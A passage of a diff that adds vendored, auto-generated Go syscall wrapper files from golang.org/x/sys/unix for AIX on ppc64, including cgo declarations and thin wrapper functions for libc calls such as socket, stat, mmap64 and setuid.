-+func callgetegid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getegid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgeteuid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_geteuid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getgid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetuid() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getuid)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllchown(_p0 uintptr, uid int, gid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_lchown)), 3, _p0, uintptr(uid), uintptr(gid), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllisten(s int, n int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_listen)), 2, uintptr(s), uintptr(n), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllstat(_p0 uintptr, stat uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_lstat)), 2, _p0, stat, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpause() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pause)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpread64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pread64)), 4, uintptr(fd), _p0, uintptr(_lenp0), uintptr(offset), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpwrite64(fd int, _p0 uintptr, _lenp0 int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pwrite64)), 4, uintptr(fd), _p0, uintptr(_lenp0), uintptr(offset), 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_select)), 5, uintptr(nfd), r, w, e, timeout, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpselect(nfd int, r uintptr, w uintptr, e uintptr, timeout uintptr, sigmask uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_pselect)), 6, uintptr(nfd), r, w, e, timeout, sigmask)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetregid(rgid int, egid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setregid)), 2, uintptr(rgid), uintptr(egid), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetreuid(ruid int, euid int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setreuid)), 2, uintptr(ruid), uintptr(euid), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callshutdown(fd int, how int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_shutdown)), 2, uintptr(fd), uintptr(how), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsplice(rfd int, roff uintptr, wfd int, woff uintptr, len int, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_splice)), 6, uintptr(rfd), roff, uintptr(wfd), woff, uintptr(len), uintptr(flags))
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstat(_p0 uintptr, statptr uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_stat)), 2, _p0, statptr, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callstatfs(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_statfs)), 2, _p0, buf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltruncate(_p0 uintptr, length int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_truncate)), 2, _p0, uintptr(length), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callbind(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_bind)), 3, uintptr(s), addr, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callconnect(s int, addr uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_connect)), 3, uintptr(s), addr, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getgroups)), 2, uintptr(n), list, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetgroups(n int, list uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setgroups)), 2, uintptr(n), list, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), val, vallen, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetsockopt(s int, level int, name int, val uintptr, vallen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_setsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), val, vallen, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocket(domain int, typ int, proto int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_socket)), 3, uintptr(domain), uintptr(typ), uintptr(proto), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsocketpair(domain int, typ int, proto int, fd uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_socketpair)), 4, uintptr(domain), uintptr(typ), uintptr(proto), fd, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpeername(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getpeername)), 3, uintptr(fd), rsa, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsockname(fd int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getsockname)), 3, uintptr(fd), rsa, addrlen, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callrecvfrom(fd int, _p0 uintptr, _lenp0 int, flags int, from uintptr, fromlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_recvfrom)), 6, uintptr(fd), _p0, uintptr(_lenp0), uintptr(flags), from, fromlen)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsendto(s int, _p0 uintptr, _lenp0 int, flags int, to uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_sendto)), 6, uintptr(s), _p0, uintptr(_lenp0), uintptr(flags), to, addrlen)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnrecvmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_nrecvmsg)), 3, uintptr(s), msg, uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callnsendmsg(s int, msg uintptr, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_nsendmsg)), 3, uintptr(s), msg, uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunmap(addr uintptr, length uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_munmap)), 2, addr, length, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmadvise(_p0 uintptr, _lenp0 int, advice int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_madvise)), 3, _p0, uintptr(_lenp0), uintptr(advice), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmprotect(_p0 uintptr, _lenp0 int, prot int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mprotect)), 3, _p0, uintptr(_lenp0), uintptr(prot), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mlock)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmlockall(flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mlockall)), 1, uintptr(flags), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmsync(_p0 uintptr, _lenp0 int, flags int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_msync)), 3, _p0, uintptr(_lenp0), uintptr(flags), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlock(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_munlock)), 2, _p0, uintptr(_lenp0), 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmunlockall() (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_munlockall)), 0, 0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpipe(p uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_pipe)), 1, p, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callpoll(fds uintptr, nfds int, timeout int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_poll)), 3, fds, uintptr(nfds), uintptr(timeout), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgettimeofday(tv uintptr, tzp uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_gettimeofday)), 2, tv, tzp, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calltime(t uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_time)), 1, t, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutime(_p0 uintptr, buf uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_utime)), 2, _p0, buf, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetsystemcfg(label int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_getsystemcfg)), 1, uintptr(label), 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callumount(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_umount)), 1, _p0, 0, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_getrlimit)), 2, uintptr(resource), rlim, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callsetrlimit(resource int, rlim uintptr) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = rawSyscall6(uintptr(unsafe.Pointer(&libc_setrlimit)), 2, uintptr(resource), rlim, 0, 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calllseek(fd int, offset int64, whence int) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_lseek)), 3, uintptr(fd), uintptr(offset), uintptr(whence), 0, 0, 0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmmap64(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_mmap64)), 6, addr, length, uintptr(prot), uintptr(flags), uintptr(fd), uintptr(offset))
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go
-new file mode 100644
-index 00000000..cde4dbc5
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go
-@@ -0,0 +1,1070 @@
-+// go run mksyscall_aix_ppc64.go -aix -tags aix,ppc64 syscall_aix.go syscall_aix_ppc64.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build aix,ppc64
-+// +build gccgo
-+
-+package unix
-+
-+/*
-+#include <stdint.h>
-+int utimes(uintptr_t, uintptr_t);
-+int utimensat(int, uintptr_t, uintptr_t, int);
-+int getcwd(uintptr_t, size_t);
-+int accept(int, uintptr_t, uintptr_t);
-+int getdirent(int, uintptr_t, size_t);
-+int wait4(int, uintptr_t, int, uintptr_t);
-+int ioctl(int, int, uintptr_t);
-+int fcntl(uintptr_t, int, uintptr_t);
-+int acct(uintptr_t);
-+int chdir(uintptr_t);
-+int chroot(uintptr_t);
-+int close(int);
-+int dup(int);
-+void exit(int);
-+int faccessat(int, uintptr_t, unsigned int, int);
-+int fchdir(int);
-+int fchmod(int, unsigned int);
-+int fchmodat(int, uintptr_t, unsigned int, int);
-+int fchownat(int, uintptr_t, int, int, int);
-+int fdatasync(int);
-+int fsync(int);
-+int getpgid(int);
-+int getpgrp();
-+int getpid();
-+int getppid();
-+int getpriority(int, int);
-+int getrusage(int, uintptr_t);
-+int getsid(int);
-+int kill(int, int);
-+int syslog(int, uintptr_t, size_t);
-+int mkdir(int, uintptr_t, unsigned int);
-+int mkdirat(int, uintptr_t, unsigned int);
-+int mkfifo(uintptr_t, unsigned int);
-+int mknod(uintptr_t, unsigned int, int);
-+int mknodat(int, uintptr_t, unsigned int, int);
-+int nanosleep(uintptr_t, uintptr_t);
-+int open64(uintptr_t, int, unsigned int);
-+int openat(int, uintptr_t, int, unsigned int);
-+int read(int, uintptr_t, size_t);
-+int readlink(uintptr_t, uintptr_t, size_t);
-+int renameat(int, uintptr_t, int, uintptr_t);
-+int setdomainname(uintptr_t, size_t);
-+int sethostname(uintptr_t, size_t);
-+int setpgid(int, int);
-+int setsid();
-+int settimeofday(uintptr_t);
-+int setuid(int);
-+int setgid(int);
-+int setpriority(int, int, int);
-+int statx(int, uintptr_t, int, int, uintptr_t);
-+int sync();
-+uintptr_t times(uintptr_t);
-+int umask(int);
-+int uname(uintptr_t);
-+int unlink(uintptr_t);
-+int unlinkat(int, uintptr_t, int);
-+int ustat(int, uintptr_t);
-+int write(int, uintptr_t, size_t);
-+int dup2(int, int);
-+int posix_fadvise64(int, long long, long long, int);
-+int fchown(int, int, int);
-+int fstat(int, uintptr_t);
-+int fstatat(int, uintptr_t, uintptr_t, int);
-+int fstatfs(int, uintptr_t);
-+int ftruncate(int, long long);
-+int getegid();
-+int geteuid();
-+int getgid();
-+int getuid();
-+int lchown(uintptr_t, int, int);
-+int listen(int, int);
-+int lstat(uintptr_t, uintptr_t);
-+int pause();
-+int pread64(int, uintptr_t, size_t, long long);
-+int pwrite64(int, uintptr_t, size_t, long long);
-+#define c_select select
-+int select(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int pselect(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int setregid(int, int);
-+int setreuid(int, int);
-+int shutdown(int, int);
-+long long splice(int, uintptr_t, int, uintptr_t, int, int);
-+int stat(uintptr_t, uintptr_t);
-+int statfs(uintptr_t, uintptr_t);
-+int truncate(uintptr_t, long long);
-+int bind(int, uintptr_t, uintptr_t);
-+int connect(int, uintptr_t, uintptr_t);
-+int getgroups(int, uintptr_t);
-+int setgroups(int, uintptr_t);
-+int getsockopt(int, int, int, uintptr_t, uintptr_t);
-+int setsockopt(int, int, int, uintptr_t, uintptr_t);
-+int socket(int, int, int);
-+int socketpair(int, int, int, uintptr_t);
-+int getpeername(int, uintptr_t, uintptr_t);
-+int getsockname(int, uintptr_t, uintptr_t);
-+int recvfrom(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int sendto(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int nrecvmsg(int, uintptr_t, int);
-+int nsendmsg(int, uintptr_t, int);
-+int munmap(uintptr_t, uintptr_t);
-+int madvise(uintptr_t, size_t, int);
-+int mprotect(uintptr_t, size_t, int);
-+int mlock(uintptr_t, size_t);
-+int mlockall(int);
-+int msync(uintptr_t, size_t, int);
-+int munlock(uintptr_t, size_t);
-+int munlockall();
-+int pipe(uintptr_t);
-+int poll(uintptr_t, int, int);
-+int gettimeofday(uintptr_t, uintptr_t);
-+int time(uintptr_t);
-+int utime(uintptr_t, uintptr_t);
-+unsigned long long getsystemcfg(int);
-+int umount(uintptr_t);
-+int getrlimit(int, uintptr_t);
-+int setrlimit(int, uintptr_t);
-+long long lseek(int, long long, int);
-+uintptr_t mmap64(uintptr_t, uintptr_t, int, int, int, long long);
-+
-+*/
-+import "C"
-+import (
-+ "syscall"
-+)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimes(_p0 uintptr, times uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.utimes(C.uintptr_t(_p0), C.uintptr_t(times)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callutimensat(dirfd int, _p0 uintptr, times uintptr, flag int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.utimensat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(times), C.int(flag)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetcwd(_p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getcwd(C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callaccept(s int, rsa uintptr, addrlen uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.accept(C.int(s), C.uintptr_t(rsa), C.uintptr_t(addrlen)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetdirent(fd int, _p0 uintptr, _lenp0 int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getdirent(C.int(fd), C.uintptr_t(_p0), C.size_t(_lenp0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callwait4(pid int, status uintptr, options int, rusage uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.wait4(C.int(pid), C.uintptr_t(status), C.int(options), C.uintptr_t(rusage)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callioctl(fd int, req int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.ioctl(C.int(fd), C.int(req), C.uintptr_t(arg)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfcntl(fd uintptr, cmd int, arg uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callacct(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.acct(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchdir(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.chdir(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callchroot(_p0 uintptr) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.chroot(C.uintptr_t(_p0)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callclose(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.close(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func calldup(oldfd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.dup(C.int(oldfd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callexit(code int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.exit(C.int(code)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfaccessat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.faccessat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchdir(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchdir(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmod(fd int, mode uint32) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchmod(C.int(fd), C.uint(mode)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchmodat(dirfd int, _p0 uintptr, mode uint32, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchmodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfchownat(dirfd int, _p0 uintptr, uid int, gid int, flags int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fchownat(C.int(dirfd), C.uintptr_t(_p0), C.int(uid), C.int(gid), C.int(flags)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfdatasync(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fdatasync(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callfsync(fd int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.fsync(C.int(fd)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callgetpgid(pid int) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.getpgid(C.int(pid)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
